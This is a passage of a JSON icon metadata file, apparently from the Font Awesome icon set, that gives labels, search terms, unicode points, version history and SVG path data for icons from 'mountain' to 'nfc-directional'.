    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M144.1 179.2C173.8 127.7 228.6 96 288 96s114.2 31.7 143.9 83.2L540.4 368c12.3 21.3-3.1 48-27.7 48H63.3c-24.6 0-40-26.6-27.7-48L144.1 179.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M144.1 179.2C173.8 127.7 228.6 96 288 96s114.2 31.7 143.9 83.2L540.4 368c12.3 21.3-3.1 48-27.7 48H63.3c-24.6 0-40-26.6-27.7-48L144.1 179.2z"
      }
    },
    "free": ["solid"]
  },
  "mountain": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3d4"],
        "secondary": ["10f6fc"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "glacier",
        "hiking",
        "hill",
        "landscape",
        "mountain",
        "snow",
        "snow-capped mountain",
        "travel",
        "view"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6fc",
    "label": "Mountain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32c12.5 0 24.1 6.4 30.8 17L503.4 394.4c5.6 8.9 8.6 19.2 8.6 29.7c0 30.9-25 55.9-55.9 55.9H55.9C25 480 0 455 0 424.1c0-10.5 3-20.8 8.6-29.7L225.2 49c6.6-10.6 18.3-17 30.8-17zm65 192L256 120.4 176.9 246.5l18.3 24.4c6.4 8.5 19.2 8.5 25.6 0l25.6-34.1c6-8.1 15.5-12.8 25.6-12.8h49z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 32c12.5 0 24.1 6.4 30.8 17L503.4 394.4c5.6 8.9 8.6 19.2 8.6 29.7c0 30.9-25 55.9-55.9 55.9H55.9C25 480 0 455 0 424.1c0-10.5 3-20.8 8.6-29.7L225.2 49c6.6-10.6 18.3-17 30.8-17zm65 192L256 120.4 176.9 246.5l18.3 24.4c6.4 8.5 19.2 8.5 25.6 0l25.6-34.1c6-8.1 15.5-12.8 25.6-12.8h49z"
      }
    },
    "free": ["solid"]
  },
  "mountain-city": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["location", "rural", "urban"]
    },
    "styles": ["solid"],
    "unicode": "e52e",
    "label": "Mountain City",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M336 0c-26.5 0-48 21.5-48 48v92.1l71.4 118.4c2.5-1.6 5.4-2.5 8.6-2.5h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16h-3.5l73.8 122.4c12.4 20.6 12.9 46.3 1.2 67.3c-.4 .8-.9 1.6-1.4 2.3H592c26.5 0 48-21.5 48-48V240c0-26.5-21.5-48-48-48H568V120c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H480V48c0-26.5-21.5-48-48-48H336zm32 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V80c0-8.8 7.2-16 16-16zM352 176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V176zm160 96c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V272zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zM224 188.9L283.8 288H223l-48 64-24.6-41.2L224 188.9zm29.4-44.2C247.1 134.3 236 128 224 128s-23.1 6.3-29.4 16.7L5.1 458.9c-6.5 10.8-6.7 24.3-.7 35.3S22 512 34.5 512H413.5c12.5 0 24-6.8 30.1-17.8s5.8-24.5-.7-35.3L253.4 144.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M336 0c-26.5 0-48 21.5-48 48v92.1l71.4 118.4c2.5-1.6 5.4-2.5 8.6-2.5h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16h-3.5l73.8 122.4c12.4 20.6 12.9 46.3 1.2 67.3c-.4 .8-.9 1.6-1.4 2.3H592c26.5 0 48-21.5 48-48V240c0-26.5-21.5-48-48-48H568V120c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H480V48c0-26.5-21.5-48-48-48H336zm32 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V80c0-8.8 7.2-16 16-16zM352 176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V176zm160 96c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V272zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zM224 188.9L283.8 288H223l-48 64-24.6-41.2L224 188.9zm29.4-44.2C247.1 134.3 236 128 224 128s-23.1 6.3-29.4 16.7L5.1 458.9c-6.5 10.8-6.7 24.3-.7 35.3S22 512 34.5 512H413.5c12.5 0 24-6.8 30.1-17.8s5.8-24.5-.7-35.3L253.4 144.7z"
      }
    },
    "free": ["solid"]
  },
  "mountain-sun": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["country", "hiking", "landscape", "rural", "travel", "view"]
    },
    "styles": ["solid"],
    "unicode": "e52f",
    "label": "Mountain Sun",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M560 160A80 80 0 1 0 560 0a80 80 0 1 0 0 160zM55.9 512H381.1h75H578.9c33.8 0 61.1-27.4 61.1-61.1c0-11.2-3.1-22.2-8.9-31.8l-132-216.3C495 196.1 487.8 192 480 192s-15 4.1-19.1 10.7l-48.2 79L286.8 81c-6.6-10.6-18.3-17-30.8-17s-24.1 6.4-30.8 17L8.6 426.4C3 435.3 0 445.6 0 456.1C0 487 25 512 55.9 512z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M560 160A80 80 0 1 0 560 0a80 80 0 1 0 0 160zM55.9 512H381.1h75H578.9c33.8 0 61.1-27.4 61.1-61.1c0-11.2-3.1-22.2-8.9-31.8l-132-216.3C495 196.1 487.8 192 480 192s-15 4.1-19.1 10.7l-48.2 79L286.8 81c-6.6-10.6-18.3-17-30.8-17s-24.1 6.4-30.8 17L8.6 426.4C3 435.3 0 445.6 0 456.1C0 487 25 512 55.9 512z"
      }
    },
    "free": ["solid"]
  },
  "mug-hot": {
    "aliases": {
      "unicodes": {
        "composite": ["2615"],
        "secondary": ["10f7b6"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beverage",
        "caliente",
        "cocoa",
        "coffee",
        "cup",
        "drink",
        "holiday",
        "hot",
        "hot beverage",
        "hot chocolate",
        "steam",
        "steaming",
        "tea",
        "warmth"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7b6",
    "label": "Mug Hot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M88 0C74.7 0 64 10.7 64 24c0 38.9 23.4 59.4 39.1 73.1l1.1 1C120.5 112.3 128 119.9 128 136c0 13.3 10.7 24 24 24s24-10.7 24-24c0-38.9-23.4-59.4-39.1-73.1l-1.1-1C119.5 47.7 112 40.1 112 24c0-13.3-10.7-24-24-24zM32 192c-17.7 0-32 14.3-32 32V416c0 53 43 96 96 96H288c53 0 96-43 96-96h16c61.9 0 112-50.1 112-112s-50.1-112-112-112H352 32zm352 64h16c26.5 0 48 21.5 48 48s-21.5 48-48 48H384V256zM224 24c0-13.3-10.7-24-24-24s-24 10.7-24 24c0 38.9 23.4 59.4 39.1 73.1l1.1 1C232.5 112.3 240 119.9 240 136c0 13.3 10.7 24 24 24s24-10.7 24-24c0-38.9-23.4-59.4-39.1-73.1l-1.1-1C231.5 47.7 224 40.1 224 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M88 0C74.7 0 64 10.7 64 24c0 38.9 23.4 59.4 39.1 73.1l1.1 1C120.5 112.3 128 119.9 128 136c0 13.3 10.7 24 24 24s24-10.7 24-24c0-38.9-23.4-59.4-39.1-73.1l-1.1-1C119.5 47.7 112 40.1 112 24c0-13.3-10.7-24-24-24zM32 192c-17.7 0-32 14.3-32 32V416c0 53 43 96 96 96H288c53 0 96-43 96-96h16c61.9 0 112-50.1 112-112s-50.1-112-112-112H352 32zm352 64h16c26.5 0 48 21.5 48 48s-21.5 48-48 48H384V256zM224 24c0-13.3-10.7-24-24-24s-24 10.7-24 24c0 38.9 23.4 59.4 39.1 73.1l1.1 1C232.5 112.3 240 119.9 240 136c0 13.3 10.7 24 24 24s24-10.7 24-24c0-38.9-23.4-59.4-39.1-73.1l-1.1-1C231.5 47.7 224 40.1 224 24z"
      }
    },
    "free": ["solid"]
  },
  "mug-saucer": {
    "aliases": {
      "names": ["coffee"],
      "unicodes": {
        "secondary": ["10f0f4"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beverage",
        "breakfast",
        "cafe",
        "drink",
        "fall",
        "morning",
        "mug",
        "seasonal",
        "tea"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f4",
    "label": "Mug Saucer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 64c0-17.7 14.3-32 32-32H448h64c70.7 0 128 57.3 128 128s-57.3 128-128 128H480c0 53-43 96-96 96H192c-53 0-96-43-96-96V64zM480 224h32c35.3 0 64-28.7 64-64s-28.7-64-64-64H480V224zM32 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 64c0-17.7 14.3-32 32-32H448h64c70.7 0 128 57.3 128 128s-57.3 128-128 128H480c0 53-43 96-96 96H192c-53 0-96-43-96-96V64zM480 224h32c35.3 0 64-28.7 64-64s-28.7-64-64-64H480V224zM32 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "music": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3b5"],
        "secondary": ["10f001"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.2.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "lyrics",
        "melody",
        "music",
        "musical note",
        "note",
        "sing",
        "sound"
      ]
    },
    "styles": ["solid"],
    "unicode": "f001",
    "label": "Music",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M499.1 6.3c8.1 6 12.9 15.6 12.9 25.7v72V368c0 44.2-43 80-96 80s-96-35.8-96-80s43-80 96-80c11.2 0 22 1.6 32 4.6V147L192 223.8V432c0 44.2-43 80-96 80s-96-35.8-96-80s43-80 96-80c11.2 0 22 1.6 32 4.6V200 128c0-14.1 9.3-26.6 22.8-30.7l320-96c9.7-2.9 20.2-1.1 28.3 5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M499.1 6.3c8.1 6 12.9 15.6 12.9 25.7v72V368c0 44.2-43 80-96 80s-96-35.8-96-80s43-80 96-80c11.2 0 22 1.6 32 4.6V147L192 223.8V432c0 44.2-43 80-96 80s-96-35.8-96-80s43-80 96-80c11.2 0 22 1.6 32 4.6V200 128c0-14.1 9.3-26.6 22.8-30.7l320-96c9.7-2.9 20.2-1.1 28.3 5z"
      }
    },
    "free": ["solid"]
  },
  "n": {
    "aliases": {
      "unicodes": {
        "composite": ["6e"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Latin Capital Letter N",
        "Latin Small Letter N",
        "letter",
        "nay",
        "no"
      ]
    },
    "styles": ["solid"],
    "unicode": "4e",
    "label": "N",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M21.1 33.9c12.7-4.6 26.9-.7 35.5 9.6L320 359.6V64c0-17.7 14.3-32 32-32s32 14.3 32 32V448c0 13.5-8.4 25.5-21.1 30.1s-26.9 .7-35.5-9.6L64 152.4V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 50.5 8.4 38.5 21.1 33.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M21.1 33.9c12.7-4.6 26.9-.7 35.5 9.6L320 359.6V64c0-17.7 14.3-32 32-32s32 14.3 32 32V448c0 13.5-8.4 25.5-21.1 30.1s-26.9 .7-35.5-9.6L64 152.4V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 50.5 8.4 38.5 21.1 33.9z"
      }
    },
    "free": ["solid"]
  },
  "naira-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Naira Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1f6",
    "label": "Naira Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M122.6 46.3c-7.8-11.7-22.4-17-35.9-12.9S64 49.9 64 64V256H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320H228.2l97.2 145.8c7.8 11.7 22.4 17 35.9 12.9s22.7-16.5 22.7-30.6V320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H384V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V256H262.5L122.6 46.3zM305.1 320H320v22.3L305.1 320zM185.5 256H128V169.7L185.5 256z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M122.6 46.3c-7.8-11.7-22.4-17-35.9-12.9S64 49.9 64 64V256H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320H228.2l97.2 145.8c7.8 11.7 22.4 17 35.9 12.9s22.7-16.5 22.7-30.6V320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H384V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V256H262.5L122.6 46.3zM305.1 320H320v22.3L305.1 320zM185.5 256H128V169.7L185.5 256z"
      }
    },
    "free": ["solid"]
  },
  "napster": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d2",
    "label": "Napster",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z"
      }
    },
    "free": ["brands"]
  },
  "neos": {
    "changes": ["5.2.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f612",
    "label": "Neos",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z"
      }
    },
    "free": ["brands"]
  },
  "network-wired": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6ff"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["computer", "connect", "ethernet", "internet", "intranet"]
    },
    "styles": ["solid"],
    "unicode": "f6ff",
    "label": "Network Wired",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 64H384v64H256V64zM240 0c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48h48v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96v32H80c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48H240c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48H192V288H448v32H400c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48H560c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48H512V288h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V192h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H240zM96 448V384H224v64H96zm320-64H544v64H416V384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 64H384v64H256V64zM240 0c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48h48v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96v32H80c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48H240c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48H192V288H448v32H400c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48H560c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48H512V288h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V192h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H240zM96 448V384H224v64H96zm320-64H544v64H416V384z"
      }
    },
    "free": ["solid"]
  },
  "neuter": {
    "aliases": {
      "unicodes": {
        "composite": ["26b2"],
        "secondary": ["10f22c"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Neuter", "gender"]
    },
    "styles": ["solid"],
    "unicode": "f22c",
    "label": "Neuter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80 176a112 112 0 1 1 224 0A112 112 0 1 1 80 176zM224 349.1c81.9-15 144-86.8 144-173.1C368 78.8 289.2 0 192 0S16 78.8 16 176c0 86.3 62.1 158.1 144 173.1V480c0 17.7 14.3 32 32 32s32-14.3 32-32V349.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M80 176a112 112 0 1 1 224 0A112 112 0 1 1 80 176zM224 349.1c81.9-15 144-86.8 144-173.1C368 78.8 289.2 0 192 0S16 78.8 16 176c0 86.3 62.1 158.1 144 173.1V480c0 17.7 14.3 32 32 32s32-14.3 32-32V349.1z"
      }
    },
    "free": ["solid"]
  },
  "newspaper": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4f0"],
        "secondary": ["10f1ea"]
      }
    },
    "changes": ["4.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "article",
        "editorial",
        "headline",
        "journal",
        "journalism",
        "news",
        "newspaper",
        "paper",
        "press"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1ea",
    "label": "Newspaper",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 96c0-35.3 28.7-64 64-64H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H80c-44.2 0-80-35.8-80-80V128c0-17.7 14.3-32 32-32s32 14.3 32 32V400c0 8.8 7.2 16 16 16s16-7.2 16-16V96zm64 24v80c0 13.3 10.7 24 24 24H296c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24H184c-13.3 0-24 10.7-24 24zm208-8c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H384c-8.8 0-16 7.2-16 16zm0 96c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H384c-8.8 0-16 7.2-16 16zM160 304c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm0 96c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 96c0-35.3 28.7-64 64-64H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H80c-44.2 0-80-35.8-80-80V128c0-17.7 14.3-32 32-32s32 14.3 32 32V400c0 8.8 7.2 16 16 16s16-7.2 16-16V96zm64 24v80c0 13.3 10.7 24 24 24H296c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24H184c-13.3 0-24 10.7-24 24zm208-8c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H384c-8.8 0-16 7.2-16 16zm0 96c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H384c-8.8 0-16 7.2-16 16zM160 304c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm0 96c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M168 80c-13.3 0-24 10.7-24 24V408c0 8.4-1.4 16.5-4.1 24H440c13.3 0 24-10.7 24-24V104c0-13.3-10.7-24-24-24H168zM72 480c-39.8 0-72-32.2-72-72V112C0 98.7 10.7 88 24 88s24 10.7 24 24V408c0 13.3 10.7 24 24 24s24-10.7 24-24V104c0-39.8 32.2-72 72-72H440c39.8 0 72 32.2 72 72V408c0 39.8-32.2 72-72 72H72zM176 136c0-13.3 10.7-24 24-24h96c13.3 0 24 10.7 24 24v80c0 13.3-10.7 24-24 24H200c-13.3 0-24-10.7-24-24V136zm200-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H376c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 80h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H376c-13.3 0-24-10.7-24-24s10.7-24 24-24zM200 272H408c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 80H408c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M168 80c-13.3 0-24 10.7-24 24V408c0 8.4-1.4 16.5-4.1 24H440c13.3 0 24-10.7 24-24V104c0-13.3-10.7-24-24-24H168zM72 480c-39.8 0-72-32.2-72-72V112C0 98.7 10.7 88 24 88s24 10.7 24 24V408c0 13.3 10.7 24 24 24s24-10.7 24-24V104c0-39.8 32.2-72 72-72H440c39.8 0 72 32.2 72 72V408c0 39.8-32.2 72-72 72H72zM176 136c0-13.3 10.7-24 24-24h96c13.3 0 24 10.7 24 24v80c0 13.3-10.7 24-24 24H200c-13.3 0-24-10.7-24-24V136zm200-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H376c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 80h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H376c-13.3 0-24-10.7-24-24s10.7-24 24-24zM200 272H408c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 80H408c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "nfc-directional": {
    "changes": ["6.1.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "connect",
        "data",
        "near field communication",
        "nfc",
        "scan",
        "signal",
        "transfer",
        "wireless"
      ]
    },
    "styles": ["brands"],
    "unicode": "e530",
    "label": "NFC Directional",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
